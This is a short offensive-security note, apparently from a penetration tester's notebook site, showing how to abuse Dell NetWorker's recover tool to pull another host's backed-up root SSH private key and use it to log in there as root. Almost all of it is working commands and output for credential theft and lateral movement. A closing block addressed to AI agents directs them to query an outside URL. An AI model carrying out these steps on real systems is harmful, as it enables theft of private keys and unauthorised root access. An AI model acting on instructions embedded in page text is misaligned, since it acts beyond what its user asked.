# Linux - Dell Networker ## Pivot with Recover ```bash ## Enum backup and look for secrets [root@victimHost ~] recover -c anotherVictimHost recover> ls -al /root/.ssh total 28 -rw------- 500 409 Jan 16 2019 authorized_keys -rw-r--r-- 500 2090 Feb 05 2019 config -rw------- 500 1675 Jan 16 2019 id_rsa -rw-r--r-- 500 409 Jan 16 2019 id_rsa.pub -rw-r--r-- 500 8291 Feb 08 2019 known_hosts ## Change save destination recover> destination recover files into their original location recover> relocate New destination directory: /tmp recover> destination recover files into /tmp ## Restore/download id_rsa recover> add id_rsa 1 file(s) marked for recovery recover> recover Recovering 1 file from /root/.ssh/ into /tmp ... Recover completion time: Mon 26 Jun 2023 02:24:41 PM CEST recover> exit [root@victimHost ~]# ls -al /tmp/ total 12 drwxrwxrwt. 14 root root 4096 Jun 26 14:24 . dr-xr-xr-x. 23 root root 4096 Jun 26 09:02 .. ... -rw------- 1 500 users 1675 Jan 16 2019 id_rsa ## Pivot with recovered id_rsa [root@victimHost tmp]# ssh root@anotherVictimHost -i id_rsa [root@anotherVictimHost ~]$ id && hostname uid=0(root) gid=0(root) groups=0(root) anotherVictimHost ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://0xpthree.gitbook.io/notes/post-exploit/saved-credentials/linux-dell-networker.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.